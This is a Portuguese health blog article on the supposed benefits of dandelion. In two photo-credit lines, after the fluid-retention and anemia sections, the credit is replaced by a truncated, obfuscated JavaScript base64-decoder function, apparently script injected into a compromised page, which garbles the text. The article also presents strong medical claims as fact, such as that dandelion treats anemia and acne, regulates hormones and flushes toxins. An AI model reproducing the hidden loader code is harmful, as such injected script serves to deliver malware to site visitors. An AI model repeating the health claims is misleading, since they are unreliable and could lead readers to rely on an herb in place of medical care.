Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde
Hoje falo-lhe de uma das plantas medicinais mais conhecidas, o dente de leão. Como já deve ter ouvido, esta planta pode ser consumida em forma de chá ou em cápsulas. É referenciada por ser bastante eficaz no alívio de problemas como a retenção de líquidos; prisão de ventre; controlo dos níveis altos de colesterol e ácido úrico.
Entre muitos benefícios, o dente de leão é rico em nutrientes e antioxidantes essenciais para o sistema digestivo. Sabe porquê? Porque esta planta tem fibras que facilitam o funcionamento dos intestinos. Para além disso, contém grandes quantidades de Vitamina B6, Vitamina C, Ferro, Tiamina, Manganês e Potássio, Magnésio, Cobre, Fósforo e Ácido Fólico.
Descubra agora todos os benefícios do dente de leão para a saúde.
1- Melhora o funcionamento do fígado
O dente de leão contém antioxidantes tais como Vitamina C e luteolina que melhoram o funcionamento do fígado. Desta forma ajuda a estabilizar o fluxo biliar, promovendo uma melhor digestão.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde - Melhora o funcionamento do fígado | Foto: greenwoman
2- Ossos mais fortes
Esta planta ajuda a fortalecer os nossos ossos graças à grande quantidade de cálcio que possui. A vitamina C e a luteolina também impedem danos nos ossos causados pelos radicais livres. Dessa forma, ajuda a aumentar a densidade óssea, deixando-nos assim mais fortes e resistentes.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde- Ossos mais fortes | Foto: rgbimg
3- Promove a saúde da nossa pele
A seiva do dente de leão ajuda no tratamento de doenças de pele tais como infecções fúngicas e infecções microbianas. Tem também propriedades insecticidas, germicidas e fungicidas. Esse líquido da planta pode também ser aplicado directamente sobre a pele afectada por eczemas, aliviando assim os sintomas de comichão.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde - Promove a saúde da nossa pele | Foto: idiva
4- Ajuda a regular a tensão arterial
Por ter uma forte acção diurética, saiba que o dente de leão pode ajudar a regular os valores da tensão arterial. As suas fibras podem também ajudar a reduzir o colesterol devido à presença de potássio na sua composição.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde - Ajuda a regular a tensão arterial | Foto: safesymptoms
5- Combate a retenção de líquidos
O dente de leão pode ser bastante eficaz no combate da retenção de líquidos devido às suas propriedades diuréticas que ajudam a eliminar toxinas do organismo. E ainda promove a saúde do trato urinário, pois evita o crescimento de bactérias más no nosso organismo.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde - Combate a retenção de líquidos | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
6- Auxilia no tratamento da acne
Estudos garantem que o dente de leão tem acções antioxidantes e desintoxicantes que são eficazes no tratamento da acne. Dito de forma simples, o sumo da planta ajuda a regular as hormonas, aumentando o suor e abertura dos poros. Dessa forma as toxinas são eliminadas não só através da urina mas também através do suor. Graças à presença de vitamina C, esta planta ajuda a acelerar o processo de cicatrização, reduzindo as cicatrizes e inflamações.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde- Auxilia no tratamento da acne | Foto: umaoils
7- Previne a anemia
Por ter grandes quantidades de vitaminas e de ferro, saiba que esta planta pode ser bastante eficaz no tratamento e prevenção de anemia, já que contém vitamina B, essencial para a formação de glóbulos vermelhos entre outros componentes no sangue.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde- Previne a anemia | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
8- Contribui para a perda de peso
A acção diurética do dente de leão pode contribuir para a perda de peso. Para além disso, esta planta é pobre em calorias. Se gosta de chá, aqui tem uma grande opção.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde - Contribui para a perda de peso | Foto: idiva
9- Trata os problemas de obstipação
O dente de leão é rico em fibras que auxiliam na boa digestão e saúde intestinal. Dessa forma, impede os problemas gastrointestinais, regulando os movimentos e o seu funcionamento, impedindo por exemplo a obstipação e diarreia.
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde - Trata os problemas de obstipação | Foto: pinimg
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